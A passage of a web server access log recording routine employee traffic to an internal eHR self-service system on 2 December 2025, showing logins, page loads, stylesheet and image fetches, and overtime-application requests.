/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.135 - - [02/Dec/2025:08:48:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3350428283302358 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3350428283302358" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:48:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3350428283302358 HTTP/1.1" 200 24852 192.168.11.144 - - [02/Dec/2025:08:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [02/Dec/2025:08:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [02/Dec/2025:08:48:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14733 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:48:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14733 192.168.11.135 - - [02/Dec/2025:08:49:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4278 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:49:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4278 192.168.11.135 - - [02/Dec/2025:08:49:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:49:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2826399982907831 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2826399982907831 HTTP/1.1" 200 8908 192.168.11.104 - - [02/Dec/2025:08:50:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - 192.168.11.104 - - [02/Dec/2025:08:50:12 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:12 +0800] "GET /eHR/ess HTTP/1.1" 301 241 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:12 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:12 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.135 - - [02/Dec/2025:08:50:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2826399982907831 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2826399982907831" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:50:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2826399982907831 HTTP/1.1" 200 24852 192.168.139.16 - - [02/Dec/2025:08:50:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:08:50:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:08:50:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:08:50:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.104 - - [02/Dec/2025:08:50:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.139.16 - - [02/Dec/2025:08:50:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:08:50:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.104 - - [02/Dec/2025:08:50:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.139.16 - - [02/Dec/2025:08:50:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:08:50:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [02/Dec/2025:08:50:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10447 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:08:50:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10447 192.168.11.104 - - [02/Dec/2025:08:50:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.139.16 - - [02/Dec/2025:08:50:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12115 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:08:50:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12115 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.104 - - [02/Dec/2025:08:50:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [02/Dec/2025:08:50:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [02/Dec/2025:08:50:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.104 - - [02/Dec/2025:08:50:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [02/Dec/2025:08:50:36 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:50:36 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.135 - - [02/Dec/2025:08:50:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4137 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:50:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4137 192.168.11.104 - - [02/Dec/2025:08:50:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; 